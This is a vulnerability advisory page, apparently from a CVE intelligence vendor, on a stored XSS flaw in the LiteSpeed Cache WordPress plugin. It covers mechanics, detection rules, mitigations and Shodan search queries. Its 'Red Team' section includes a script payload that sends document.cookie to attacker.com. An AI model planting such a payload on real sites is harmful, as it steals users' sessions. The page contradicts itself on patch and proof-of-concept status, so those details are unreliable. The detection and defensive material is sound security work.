☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Technologies logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-51915

CVE-2024-51915 Cross-Site Scripting in Litespeed technologies
📅 PUBLISHED: 2026-02-20 15:46 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-51915 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the LiteSpeed Cache WordPress plugin, versions up to and including 6.5.2. This vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. Given that LiteSpeed Cache is a widely used caching plugin for WordPress, this vulnerability poses a significant risk to site administrators and visitors. The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, and defacement. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem, specifically the LiteSpeed Cache plugin. WordPress plugins are distributed through the official WordPress Plugin Directory and are often updated automatically. However, the lack of a patch for this vulnerability means that all sites running version 6.5.2 or earlier are at risk. Administrators should monitor the plugin’s changelog and apply updates as soon as they become available. Additionally, since this is a WordPress plugin, the attack surface is broad, as many sites rely on automatic updates or may not be actively maintained.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication is needed to trigger the vulnerability.
  • User Interaction (UI): Required – The victim must interact with the malicious content (e.g., visit a page or click a link).
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the widespread use of LiteSpeed Cache and the lack of a patch elevate the risk. Stored XSS can lead to persistent compromise of user sessions and data.

Deep Dive & Mechanics

The vulnerability exists in the LiteSpeed Cache plugin’s handling of user input during web page generation. Specifically, the plugin fails to properly sanitize or escape input before storing it in the database or rendering it on a page. This allows an attacker to inject arbitrary HTML and JavaScript code, which is then executed in the context of the victim’s browser.

Attack Flow:

  1. An attacker identifies an input field or parameter that is processed by the LiteSpeed Cache plugin (e.g., a comment, custom field, or cache-related setting).
  2. The attacker submits a payload containing malicious JavaScript, such as <script>alert('XSS')</script>.
  3. The plugin stores this payload without proper sanitization.
  4. When an administrator or other user views the affected page, the script executes, potentially stealing cookies, redirecting the user, or performing actions on their behalf.

Root Cause: The plugin uses functions like echo or print without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This is a classic example of CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. The vulnerable code likely looks like:

// Vulnerable code
echo $user_input;

The patched version would use proper escaping:

// Patched code
echo esc_html( $user_input );

Or, if the input is intended to contain safe HTML, it would be sanitized with wp_kses():

// Patched code
echo wp_kses( $user_input, $allowed_html );

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site running LiteSpeed Cache <= 6.5.2.
  • An input field that is processed by the plugin (e.g., a comment form, custom field, or cache exclusion list).

Steps:

  1. Identify a vulnerable input. For example, the plugin’s “Cache Excludes” setting might accept user input without sanitization.
  2. Inject a payload such as:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Submit the payload. The script will be stored and executed when an admin views the settings page.

Note: No public PoC is available, so this is a theoretical exploitation path.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual input patterns in plugin settings or comment fields.
  • Use a Web Application Firewall (WAF) to block common XSS payloads.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Defense:

  • Disable the LiteSpeed Cache plugin until a patch is released.
  • Apply virtual patching via a WAF.
  • Regularly audit plugin code for security vulnerabilities.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from the WordPress server.
  • File System: Modified plugin files or unexpected JavaScript files in the uploads directory.
  • Logs: Suspicious entries in WordPress debug logs or web server access logs containing <script> tags.
  • Database: Stored XSS payloads in the wp_options table or custom post meta.

Detection Engineering

YARA Rule

rule CVE_2024_51915_LiteSpeed_Cache_XSS {
    meta:
        description = "Detects stored XSS payloads in LiteSpeed Cache plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51915"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $vuln_function = /echo\s*\$/
    condition:
        $xss_payload and $vuln_function
}

Sigma Rule

title: Stored XSS in LiteSpeed Cache Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attacks against LiteSpeed Cache plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: '*action=litespeed*'
        cs-uri-query: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51915 LiteSpeed Cache Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=litespeed"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the LiteSpeed Cache plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Apply Content Security Policy (CSP) headers to restrict script execution.

Long-Term Fix:

  • Monitor the plugin’s official page for updates and apply the patch as soon as it is released.
  • Consider switching to an alternative caching plugin if the vendor does not respond promptly.

Workarounds:

  • Use WordPress’s built-in wp_kses() function to sanitize any custom code that interacts with the plugin.
  • Restrict access to plugin settings pages to trusted administrators only.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"LiteSpeed Cache"
http.html:"litespeed-cache"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-51915/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.